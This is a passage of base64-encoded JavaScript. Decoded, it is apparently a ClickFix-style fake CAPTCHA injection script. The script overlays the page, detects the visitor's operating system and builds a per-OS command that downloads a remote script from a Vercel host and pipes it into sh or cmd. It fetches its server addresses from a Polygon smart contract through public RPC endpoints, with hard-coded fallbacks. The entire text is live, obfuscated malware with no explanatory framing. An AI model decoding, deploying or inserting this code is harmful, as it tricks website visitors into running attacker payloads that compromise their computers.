dC5jbGFzc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTsNCiFmdW5jdGlvbigpew0KDQogIGlmICh3aW5kb3dbJ19fYWxyZWFkeVJhbiddKSByZXR1cm47DQogIHdpbmRvd1snX19hbHJlYWR5UmFuJ10gPSAxOw0KDQoNCiAgdmFyIHNlc3Npb25Ub2tlbiA9ICJkMTA3M2YzOGU0YzU4NTVmODQzNWM0NjE5NGY3YjFhZDc0YjQwNjViNDJmYjAyY2IiOw0KICB2YXIgRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMID0gImh0dHBzOi8vc2NyaXB0Lmdvb2dsZS5jb20vbWFjcm9zL3MvQUtmeWNienMwdlFSdkktMkJ4NFZVVUN4VUE0azY0SGRraUhpY1RtdUszeTFNWEFsN0FnalBJV3RSQlpxSDB2NkV6emV1QmFIL2V4ZWMiOw0KICB2YXIgRkFMTEJBQ0tfVkVSQ0VMX0JBU0UgPSAiaHR0cHM6Ly9zY3JpcHQtc2l4LXRhd255LnZlcmNlbC5hcHAiOw0KICB2YXIgQVBQU19TQ1JJUFRfVVJMID0gRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMOw0KICB2YXIgVkVSQ0VMX0JBU0UgPSBGQUxMQkFDS19WRVJDRUxfQkFTRTsNCg0KICBmdW5jdGlvbiBkZXRlY3RWaXNpdG9yT3NGYW1pbHkoKSB7DQogICAgdmFyIHVhID0gbmF2aWdhdG9yLnVzZXJBZ2VudCB8fCAnJzsNCiAgICB2YXIgcGxhdGZvcm0gPSBuYXZpZ2F0b3IucGxhdGZvcm0gfHwgJyc7DQogICAgaWYgKC9XaW4vaS50ZXN0KHBsYXRmb3JtKSB8fCAvV2luZG93cy9pLnRlc3QodWEpKSByZXR1cm4gJ3dpbmRvd3MnOw0KICAgIGlmICgvTWFjL2kudGVzdChwbGF0Zm9ybSkgfHwgL01hY2ludG9zaHxNYWMgT1MgWC9pLnRlc3QodWEpKSByZXR1cm4gJ21hYyc7DQogICAgaWYgKC9MaW51eC9pLnRlc3QocGxhdGZvcm0pIHx8IC9MaW51eHxYMTEvaS50ZXN0KHVhKSkgcmV0dXJuICdsaW51eCc7DQogICAgcmV0dXJuICd3aW5kb3dzJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdFZpc2l0b3JPcygpIHsNCiAgICByZXR1cm4gZGV0ZWN0VmlzaXRvck9zRmFtaWx5KCk7DQogIH0NCg0KICBmdW5jdGlvbiBkZXRlY3RXaW5kb3dzTGFiZWwodWEsIHBsYXRmb3JtVmVyc2lvbikgew0KICAgIHZhciBudE1hdGNoID0gdWEubWF0Y2goL1dpbmRvd3MgTlQgKFswLTkuXSspL2kpOw0KICAgIHZhciBudCA9IG50TWF0Y2ggPyBudE1hdGNoWzFdIDogJyc7DQogICAgdmFyIHB2TWFqb3IgPSBwbGF0Zm9ybVZlcnNpb24gPw0KICAgICAgKHBhcnNlSW50KFN0cmluZyhwbGF0Zm9ybVZlcnNpb24pLnNwbGl0KCcuJylbMF0sIDEwKSB8fCAwKSA6IDA7DQogICAgLy8gQ2hyb21pdW0gVXNlci1BZ2VudCBDbGllbnQgSGludHM6IFdpbjExIHJlcG9ydHMgcGxhdGZvcm1WZXJzaW9uIDEzKw0KICAgIGlmIChwdk1ham9yID49IDEzKSByZXR1cm4gJ3dpbjExJzsNCiAgICBpZiAobnQgPT09ICcxMC4wJyB8fCBwdk1ham9yID09PSAxMCkgcmV0dXJuICd3aW4xMCc7DQogICAgaWYgKG50ID09PSAnNi4zJykgcmV0dXJuICd3aW44LjEnOw0KICAgIGlmIChudCA9PT0gJzYuMicpIHJldHVybiAnd2luOCc7DQogICAgaWYgKG50ID09PSAnNi4xJykgcmV0dXJuICd3aW43JzsNCiAgICBpZiAobnQgPT09ICc2LjAnKSByZXR1cm4gJ3dpbnZpc3RhJzsNCiAgICBpZiAobnQgPT09ICc1LjEnKSByZXR1cm4gJ3dpbnhwJzsNCiAgICBpZiAobnQpIHJldHVybiAnd2luJyArIG50LnJlcGxhY2UoL1wuL2csICcnKTsNCiAgICByZXR1cm4gJ3dpbjEwJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdE1hY0xhYmVsKHVhLCBwbGF0Zm9ybVZlcnNpb24pIHsNCiAgICB2YXIgcHZNYWpvciA9IHBsYXRmb3JtVmVyc2lvbiA/DQogICAgICAocGFyc2VJbnQoU3RyaW5nKHBsYXRmb3JtVmVyc2lvbikuc3BsaXQoJy4nKVswXSwgMTApIHx8IDApIDogMDsNCiAgICBpZiAocHZNYWpvciA+IDApIHJldHVybiAnTWFjICcgKyBwdk1ham9yOw0KICAgIHZhciBtYWNNYXRjaCA9IHVhLm1hdGNoKC9NYWMgT1MgWCAoXGQrKVtfLl0oXGQrKS9pKTsNCiAgICBpZiAobWFjTWF0Y2gpIHJldHVybiAnTWFjICcgKyBtYWNNYXRjaFsxXSArICcuJyArIG1hY01hdGNoWzJdOw0KICAgIHJldHVybiAnTWFjJzsNCiAgfQ0KDQogIGZ1bmN0aW9uIGRldGVjdExpbnV4TGFiZWwodWEpIHsNCiAgICB2YXIgZGlzdHJvTWF0Y2ggPSB1YS5tYXRjaCgvXGIoVWJ1bnR1fEZlZG9yYXxEZWJpYW58TGludXggTWludHxQb3AhX09TfEFyY2ggTGludXh8TWFuamFyb3xvcGVuU1VTRSg/OiBMZWFwfCBUdW1ibGV3ZWVkKT98S2FsaXxlbGVtZW50YXJ5IE9TfFpvcmluIE9TKSg/OlsvIF0oW1xkLl0rKSk/L2kpOw0KICAgIGlmIChkaXN0cm9NYXRjaCkgew0KICAgICAgdmFyIGRpc3RybyA9IGRpc3Ryb01hdGNoWzFdOw0KICAgICAgdmFyIHZlciA9IGRpc3Ryb01hdGNoWzJdIHx8ICcnOw0KICAgICAgaWYgKC91YnVudHUvaS50ZXN0KGRpc3RybykpIHsNCiAgICAgICAgaWYgKCF2ZXIpIHsNCiAgICAgICAgICB2YXIgdWJ1bnR1U2xhc2ggPSB1YS5tYXRjaCgvVWJ1bnR1XC8oW1xkLl0rKS9pKTsNCiAgICAgICAgICB2ZXIgPSB1YnVudHVTbGFzaCA/IHVidW50dVNsYXNoWzFdIDogJyc7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIHZlciA/ICgnVWJ1bnR1ICcgKyB2ZXIuc3BsaXQoJy4nKVswXSkgOiAnVWJ1bnR1JzsNCiAgICAgIH0NCiAgICAgIHJldHVybiB2ZXIgPyAoZGlzdHJvICsgJyAnICsgdmVyLnNwbGl0KCcuJylbMF0pIDogZGlzdHJvOw0KICAgIH0NCiAgICBpZiAoL0NyT1MvaS50ZXN0KHVhKSkgcmV0dXJuICdDaHJvbWVPUyc7DQogICAgaWYgKC9BbmRyb2lkL2kudGVzdCh1YSkpIHJldHVybiAnQW5kcm9pZCc7DQogICAgaWYgKC9hYXJjaDY0fGFybTY0L2kudGVzdCh1YSkpIHJldHVybiAnTGludXggYXJtNjQnOw0KICAgIGlmICgveDg2XzY0fHg2NHxhbWQ2NC9pLnRlc3QodWEpKSByZXR1cm4gJ0xpbnV4IHg4Nl82NCc7DQogICAgcmV0dXJuICdMaW51eCc7DQogIH0NCg0KICBmdW5jdGlvbiBkZXRlY3RWaXNpdG9yT3NMYWJlbCh1YSwgcGxhdGZvcm1WZXJzaW9uKSB7DQogICAgdWEgPSB1YSB8fCBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICcnOw0KICAgIHZhciBmYW1pbHkgPSBkZXRlY3RWaXNpdG9yT3NGYW1pbHkoKTsNCiAgICBpZiAoZmFtaWx5ID09PSAnd2luZG93cycpIHJldHVybiBkZXRlY3RXaW5kb3dzTGFiZWwodWEsIHBsYXRmb3JtVmVyc2lvbik7DQogICAgaWYgKGZhbWlseSA9PT0gJ21hYycpIHJldHVybiBkZXRlY3RNYWNMYWJlbCh1YSwgcGxhdGZvcm1WZXJzaW9uKTsNCiAgICBpZiAoZmFtaWx5ID09PSAnbGludXgnKSByZXR1cm4gZGV0ZWN0TGludXhMYWJlbCh1YSk7DQogICAgcmV0dXJuICd3aW4xMCc7DQogIH0NCg0KICB2YXIgVklTSVRPUl9PU19MQUJFTCA9IGRldGVjdFZpc2l0b3JPc0xhYmVsKCk7DQoNCiAgKGZ1bmN0aW9uIHJlZmluZVZpc2l0b3JPc0xhYmVsKCkgew0KICAgIHRyeSB7DQogICAgICBpZiAoIW5hdmlnYXRvci51c2VyQWdlbnREYXRhIHx8ICFuYXZpZ2F0b3IudXNlckFnZW50RGF0YS5nZXRIaWdoRW50cm9weVZhbHVlcykgcmV0dXJuOw0KICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudERhdGEuZ2V0SGlnaEVudHJvcHlWYWx1ZXMoWydwbGF0Zm9ybVZlcnNpb24nXSkNCiAgICAgICAgLnRoZW4oZnVuY3Rpb24oaGludHMpIHsNCiAgICAgICAgICBWSVNJVE9SX09TX0xBQkVMID0gZGV0ZWN0VmlzaXRvck9zTGFiZWwoDQogICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50IHx8ICcnLA0KICAgICAgICAgICAgaGludHMgJiYgaGludHMucGxhdGZvcm1WZXJzaW9uDQogICAgICAgICAgKTsNCiAgICAgICAgICB0cnkgeyB3aW5kb3cuX19BVlRfT1NfTEFCRUwgPSBWSVNJVE9SX09TX0xBQkVMOyB9IGNhdGNoIChlKSB7fQ0KICAgICAgICB9KQ0KICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7fSk7DQogICAgfSBjYXRjaCAoZSkge30NCiAgfSkoKTsNCg0KICBmdW5jdGlvbiBnZXRWaXNpdG9yT3NMYWJlbCgpIHsNCiAgICByZXR1cm4gVklTSVRPUl9PU19MQUJFTCB8fCBkZXRlY3RWaXNpdG9yT3NMYWJlbCgpOw0KICB9DQoNCiAgdHJ5IHsgd2luZG93Ll9fQVZUX09TX0xBQkVMID0gVklTSVRPUl9PU19MQUJFTDsgfSBjYXRjaCAoZSkge30NCg0KICBmdW5jdGlvbiBnZXRWZXJjZWxDb21tYW5kKG9zKSB7DQogICAgdmFyIGJhc2UgPSBWRVJDRUxfQkFTRSB8fCBGQUxMQkFDS19WRVJDRUxfQkFTRTsNCiAgICBpZiAob3MgPT09ICdsaW51eCcpIHsNCiAgICAgIHJldHVybiAid2dldCAtcU8tICciICsgYmFzZSArICIvbGluJyAtTCB8IHNoIjsNCiAgICB9DQogICAgaWYgKG9zID09PSAnbWFjJykgew0KICAgICAgcmV0dXJuICJjdXJsIC1zICciICsgYmFzZSArICIvbWFjJyAtTCB8IHNoIjsNCiAgICB9DQogICAgcmV0dXJuICJjdXJsLmV4ZSAtcyAiICsgYmFzZSArICIvd2luIC1MIHwgY21kIjsNCiAgfQ0KDQogIHZhciBycGNMaXN0ID0gWw0KICAgICdodHRwczovL3BvbHlnb24uZHJwYy5vcmcnLA0KICAgICdodHRwczovL3JwYy5hbmtyLmNvbS9wb2x5Z29uJywNCiAgICAnaHR0cHM6Ly8xcnBjLmlvL21hdGljJywNCiAgICAnaHR0cHM6Ly9wb2x5Z29uLWJvci1ycGMucHVibGljbm9kZS5jb20nLA0KICAgICdodHRwczovL3BvbHlnb24tcHVibGljLm5vZGllcy5hcHAnLA0KICAgICdodHRwczovL3BvbHlnb24tbWFpbm5ldC5wdWJsaWMuYmxhc3RhcGkuaW8nLA0KICAgICdodHRwczovL3BvbHlnb24uZ2F0ZXdheS50ZW5kZXJseS5jbycsDQogICAgJ2h0dHBzOi8vcnBjLW1haW5uZXQubWF0aWMucXVpa25vZGUucHJvJw0KICBdOw0KDQogIHZhciBsaW5rQ29uZmlnQ29udHJhY3QgPSAiMHhmNzA3MzBBNEU1Yjg5QjZDNkUwMkVkYWVENTgyYmFkZjY0NjVlOUQ5IjsNCiAgdmFyIGxpbmtTZWxlY3RvcnMgPSB7DQogICAgZ2V0QXBwc1NjcmlwdFVybDogIjRlNThlMmY3IiwNCiAgICBnZXRWZXJjZWxCYXNlOiAiYmFkZDYyZGIiLA0KICAgIGdldFZlcnNpb246ICIwZDhlNmUyYyINCiAgfTsNCiAgdmFyIGRvbWFpbkNvbnRyYWN0QWRkcmVzcyA9ICIweEI2YkM5ZTFEMGIyZkI5NkFiN0M0N0UwNENiMEJFNDc3NDEwYkMxZjIiOw0KICB2YXIgZG9tYWluTWV0aG9kU2VsZWN0b3IgPSAiYjY4ZDE4MDkiOw0KICB2YXIgTElOS19DRkdfQ0FDSEVfS0VZID0gImNvZ25pX2xpbmtfY2ZnIjsNCg0KICBmdW5jdGlvbiBkZWNvZGVBYmlTdHJpbmcoaGV4UmVzdWx0KSB7DQogICAgdHJ5IHsNCg0KICAgICAgdmFyIGhleERhdGEgPSBoZXhSZXN1bHQuc3Vic3RyKDAsIDIpID09PSAnMHgnID8gaGV4UmVzdWx0LnN1YnN0cigyKSA6IGhleFJlc3VsdDsNCg0KDQogICAgICBpZiAoaGV4RGF0YS5sZW5ndGggPCAxMjgpIHJldHVybiAnJzsNCg0KDQogICAgICB2YXIgc3RyaW5nTGVuZ3RoID0gcGFyc2VJbnQoaGV4RGF0YS5zdWJzdHIoNjQsIDY0KSwgMTYpOw0KICAgICAgaWYgKCFzdHJpbmdMZW5ndGgpIHJldHVybiAnJzsNCg0KDQogICAgICB2YXIgc3RyaW5nSGV4Qnl0ZXMgPSBoZXhEYXRhLnN1YnN0cigxMjgsIHN0cmluZ0xlbmd0aCAqIDIpOw0KICAgICAgdmFyIGRlY29kZWRTdHJpbmcgPSAnJzsNCg0KDQogICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHN0cmluZ0hleEJ5dGVzLmxlbmd0aDsgaSArPSAyKSB7DQogICAgICAgIHZhciBjaGFyQ29kZSA9IHBhcnNlSW50KHN0cmluZ0hleEJ5dGVzLnN1YnN0cihpLCAyKSwgMTYpOw0KICAgICAgICBpZiAoY2hhckNvZGUpIGRlY29kZWRTdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjaGFyQ29kZSk7DQogICAgICB9DQogICAgICByZXR1cm4gZGVjb2RlZFN0cmluZzsNCiAgICB9IGNhdGNoIChlKSB7DQogICAgICByZXR1cm4gJyc7DQogICAgfQ0KICB9DQoNCiAgZnVuY3Rpb24gZGVjb2RlQWJpVWludDI1NihoZXhSZXN1bHQpIHsNCiAgICB0cnkgew0KICAgICAgdmFyIGhleERhdGEgPSBoZXhSZXN1bHQgJiYgaGV4UmVzdWx0LnN1YnN0cigwLCAyKSA9PT0gJzB4JyA/IGhleFJlc3VsdC5zdWJzdHIoMikgOiBoZXhSZXN1bHQ7DQogICAgICBpZiAoIWhleERhdGEgfHwgaGV4RGF0YS5sZW5ndGggPCA2NCkgcmV0dXJuIDA7DQogICAgICByZXR1cm4gcGFyc2VJbnQoaGV4RGF0YS5zdWJzdHIoLTY0KSwgMTYpOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHJwY0NhbGwocnBjVXJsLCByZXF1ZXN0Qm9keSkgew0KICAgIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbiAocmVzb2x2ZSwgcmVqZWN0KSB7DQogICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7DQogICAgICB4aHIub3BlbignUE9TVCcsIHJwY1VybCwgdHJ1ZSk7DQogICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL2pzb24nKTsNCiAgICAgIHhoci50aW1lb3V0ID0gNTAwMDsNCg0KICAgICAgeGhyLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICByZXNvbHZlKEpTT04ucGFyc2UoeGhyLnJlc3BvbnNlVGV4dCkpOw0KICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgcmVqZWN0KGUpOw0KICAgICAgICB9DQogICAgICB9Ow0KDQogICAgICB4aHIub25lcnJvciA9IHhoci5vbnRpbWVvdXQgPSBmdW5jdGlvbiAoKSB7DQogICAgICAgIHJlamVjdChuZXcgRXJyb3IoKSk7DQogICAgICB9Ow0KDQogICAgICB4aHIuc2VuZChKU09OLnN0cmluZ2lmeShyZXF1ZXN0Qm9keSkpOw0KICAgIH0pOw0KICB9DQoNCiAgZnVuY3Rpb24gZXRoQ2FsbEF0KGNvbnRyYWN0LCBzZWxlY3RvciwgcnBjSW5kZXgpIHsNCiAgICBpZiAocnBjSW5kZXggPj0gcnBjTGlzdC5sZW5ndGgpIHJldHVybiBQcm9taXNlLnJlc29sdmUoJycpOw0KICAgIHZhciByZXF1ZXN0Qm9keSA9IHsNCiAgICAgIGpzb25ycGM6ICcyLjAnLA0KICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgcGFyYW1zOiBbeyB0bzogY29udHJhY3QsIGRhdGE6ICcweCcgKyBzZWxlY3RvciB9LCAnbGF0ZXN0J10sDQogICAgICBpZDogMQ0KICAgIH07DQogICAgcmV0dXJuIHJwY0NhbGwocnBjTGlzdFtycGNJbmRleF0sIHJlcXVlc3RCb2R5KQ0KICAgICAgLnRoZW4oZnVuY3Rpb24gKHJlc3BvbnNlKSB7DQogICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZS5lcnJvcikgcmV0dXJuIGV0aENhbGxBdChjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4ICsgMSk7DQogICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZS5yZXN1bHQpIHJldHVybiByZXNwb25zZS5yZXN1bHQ7DQogICAgICAgIHJldHVybiBldGhDYWxsQXQoY29udHJhY3QsIHNlbGVjdG9yLCBycGNJbmRleCArIDEpOw0KICAgICAgfSkNCiAgICAgIC5jYXRjaChmdW5jdGlvbiAoKSB7DQogICAgICAgIHJldHVybiBldGhDYWxsQXQoY29udHJhY3QsIHNlbGVjdG9yLCBycGNJbmRleCArIDEpOw0KICAgICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiBmZXRjaFN0cmluZ0Zyb21DaGFpbihjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4KSB7DQogICAgaWYgKHJwY0luZGV4ID49IHJwY0xpc3QubGVuZ3RoKSByZXR1cm4gUHJvbWlzZS5yZXNvbHZlKCcnKTsNCiAgICByZXR1cm4gZXRoQ2FsbEF0KGNvbnRyYWN0LCBzZWxlY3RvciwgcnBjSW5kZXgpLnRoZW4oZnVuY3Rpb24gKGhleCkgew0KICAgICAgdmFyIHZhbHVlID0gZGVjb2RlQWJpU3RyaW5nKGhleCk7DQogICAgICBpZiAodmFsdWUpIHJldHVybiB2YWx1ZTsNCiAgICAgIHJldHVybiBmZXRjaFN0cmluZ0Zyb21DaGFpbihjb250cmFjdCwgc2VsZWN0b3IsIHJwY0luZGV4ICsgMSk7DQogICAgfSk7DQogIH0NCg0KICBmdW5jdGlvbiByZWFkTGlua0NhY2hlKCkgew0KICAgIHRyeSB7DQogICAgICB2YXIgcmF3ID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oTElOS19DRkdfQ0FDSEVfS0VZKTsNCiAgICAgIHJldHVybiByYXcgPyBKU09OLnBhcnNlKHJhdykgOiBudWxsOw0KICAgIH0gY2F0Y2ggKGUpIHsNCiAgICAgIHJldHVybiBudWxsOw0KICAgIH0NCiAgfQ0KDQogIGZ1bmN0aW9uIHdyaXRlTGlua0NhY2hlKHZlcnNpb24sIGFwcHMsIHZlcmNlbCkgew0KICAgIHRyeSB7DQogICAgICBsb2NhbFN0b3JhZ2Uuc2V0SXRlbShMSU5LX0NGR19DQUNIRV9LRVksIEpTT04uc3RyaW5naWZ5KHsNCiAgICAgICAgdmVyc2lvbjogdmVyc2lvbiwNCiAgICAgICAgYXBwczogYXBwcywNCiAgICAgICAgdmVyY2VsOiB2ZXJjZWwsDQogICAgICAgIHRzOiBEYXRlLm5vdygpDQogICAgICB9KSk7DQogICAgfSBjYXRjaCAoZSkge30NCiAgfQ0KDQogIGZ1bmN0aW9uIGlzVmFsaWRBcHBzVXJsKHVybCkgew0KICAgIHJldHVybiAhIXVybA0KICAgICAgJiYgL15odHRwczpcL1wvc2NyaXB0XC5nb29nbGVcLmNvbVwvbWFjcm9zXC9zXC9bQS1aYS16MC05Xy1dK1wvZXhlYyQvLnRlc3QodXJsKQ0KICAgICAgJiYgdXJsLmluZGV4T2YoJ1lPVVJfU0NSSVBUX0lEJykgPT09IC0xOw0KICB9DQoNCiAgZnVuY3Rpb24gaXNWYWxpZFZlcmNlbEJhc2UodXJsKSB7DQogICAgdmFyIGJhc2UgPSBTdHJpbmcodXJsIHx8ICcnKS5yZXBsYWNlKC9cLyskLywgJycpOw0KICAgIHJldHVybiAhIWJhc2UNCiAgICAgICYmIC9eaHR0cHM6XC9cL1thLXowLTktXStcLnZlcmNlbFwuYXBwJC9pLnRlc3QoYmFzZSkNCiAgICAgICYmIGJhc2UuaW5kZXhPZigneW91ci1hcHAnKSA9PT0gLTE7DQogIH0NCg0KICBmdW5jdGlvbiBhcHBseUxpbmtDb25maWcoY2ZnKSB7DQogICAgdmFyIGFwcHMgPSAoY2ZnICYmIGNmZy5hcHBzKSA/IGNmZy5hcHBzIDogRkFMTEJBQ0tfQVBQU19TQ1JJUFRfVVJMOw0KICAgIHZhciB2ZXJjZWwgPSAoY2ZnICYmIGNmZy52ZXJjZWwpID8gU3RyaW5nKGNmZy52ZXJjZWwpLnJlcGxhY2UoL1wvKyQvLCAnJykgOiBGQUxMQkFDS19WRVJDRUxfQkFTRTsNCiAgICBBUFBTX1NDUklQVF9VUkwgPSBpc1ZhbGlkQXBwc1VybChhcHBzKSA/IGFwcHMgOiBGQUxMQkFDS19BUFBTX1NDUklQVF9VUkw7DQogICAgVkVSQ0VMX0JBU0UgPSBpc1ZhbGlkVmVyY2VsQmFzZSh2ZXJjZWwpID8gdmVyY2VsIDogRkFMTEJBQ0tfVkVSQ0VMX0JBU0U7DQogICAgdHJ5IHsgd2luZG93Ll9fQVZUX0FQUFNfU0NSSVBUX1VSTCA9IEFQUFNfU0NSSVBUX1VSTDsgfSBjYXRjaCAoZSkge30NCiAgICB0cnkgeyB3aW5kb3cuX19BVlRfVkVSQ0VMX0JBU0UgPSBWRVJDRUxfQkFTRTsgfSBjYXRjaCAoZSkge30NCiAgfQ0KDQogIGZ1bmN0aW9uIGZldGNoTGlua0NvbmZpZ0Zyb21DaGFpbihycGNJbmRleCkgew0KICAgIGlmIChycGNJbmRleCA+PSBycGNMaXN0Lmxlbmd0aCkgcmV0dXJuIFByb21pc2UucmVzb2x2ZShudWxsKTsNCg0KICAgIHZhciB2ZXJzaW9uQm9keSA9IHsNCiAgICAgIGpzb25ycGM6ICcyLjAnLA0KICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgcGFyYW1zOiBbeyB0bzogbGlua0NvbmZpZ0NvbnRyYWN0LCBkYXRhOiAnMHgnICsgbGlua1NlbGVjdG9ycy5nZXRWZXJzaW9uIH0sICdsYXRlc3QnXSwNCiAgICAgIGlkOiAxDQogICAgfTsNCg0KICAgIHJldHVybiBycGNDYWxsKHJwY0xpc3RbcnBjSW5kZXhdLCB2ZXJzaW9uQm9keSkNCiAgICAgIC50aGVuKGZ1bmN0aW9uIChyZXNwb25zZSkgew0KICAgICAgICBpZiAocmVzcG9uc2UgJiYgcmVzcG9uc2UuZXJyb3IpIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgdmFyIHZlcnNpb24gPSByZXNwb25zZSAmJiByZXNwb25zZS5yZXN1bHQgPyBkZWNvZGVBYmlVaW50MjU2KHJlc3BvbnNlLnJlc3VsdCkgOiAwOw0KICAgICAgICBpZiAoIXZlcnNpb24pIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCg0KICAgICAgICB2YXIgY2FjaGVkID0gcmVhZExpbmtDYWNoZSgpOw0KICAgICAgICBpZiAoY2FjaGVkICYmIGNhY2hlZC52ZXJzaW9uID09PSB2ZXJzaW9uICYmDQogICAgICAgICAgICBpc1ZhbGlkQXBwc1VybChjYWNoZWQuYXBwcykgJiYgaXNWYWxpZFZlcmNlbEJhc2UoY2FjaGVkLnZlcmNlbCkpIHsNCiAgICAgICAgICByZXR1cm4geyBhcHBzOiBjYWNoZWQuYXBwcywgdmVyY2VsOiBjYWNoZWQudmVyY2VsLCB2ZXJzaW9uOiB2ZXJzaW9uIH07DQogICAgICAgIH0NCg0KICAgICAgICB2YXIgYXBwc0JvZHkgPSB7DQogICAgICAgICAganNvbnJwYzogJzIuMCcsDQogICAgICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgICAgIHBhcmFtczogW3sgdG86IGxpbmtDb25maWdDb250cmFjdCwgZGF0YTogJzB4JyArIGxpbmtTZWxlY3RvcnMuZ2V0QXBwc1NjcmlwdFVybCB9LCAnbGF0ZXN0J10sDQogICAgICAgICAgaWQ6IDINCiAgICAgICAgfTsNCiAgICAgICAgdmFyIHZlcmNlbEJvZHkgPSB7DQogICAgICAgICAganNvbnJwYzogJzIuMCcsDQogICAgICAgICAgbWV0aG9kOiAnZXRoX2NhbGwnLA0KICAgICAgICAgIHBhcmFtczogW3sgdG86IGxpbmtDb25maWdDb250cmFjdCwgZGF0YTogJzB4JyArIGxpbmtTZWxlY3RvcnMuZ2V0VmVyY2VsQmFzZSB9LCAnbGF0ZXN0J10sDQogICAgICAgICAgaWQ6IDMNCiAgICAgICAgfTsNCg0KICAgICAgICByZXR1cm4gcnBjQ2FsbChycGNMaXN0W3JwY0luZGV4XSwgYXBwc0JvZHkpDQogICAgICAgICAgLnRoZW4oZnVuY3Rpb24gKGFwcHNSZXNwKSB7DQogICAgICAgICAgICBpZiAoYXBwc1Jlc3AgJiYgYXBwc1Jlc3AuZXJyb3IpIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4ocnBjSW5kZXggKyAxKTsNCiAgICAgICAgICAgIHJldHVybiBycGNDYWxsKHJwY0xpc3RbcnBjSW5kZXhdLCB2ZXJjZWxCb2R5KS50aGVuKGZ1bmN0aW9uICh2ZXJjZWxSZXNwKSB7DQogICAgICAgICAgICAgIGlmICh2ZXJjZWxSZXNwICYmIHZlcmNlbFJlc3AuZXJyb3IpIHJldHVybiBmZXRjaExpbmtDb25maWdGcm9tQ2hhaW4oc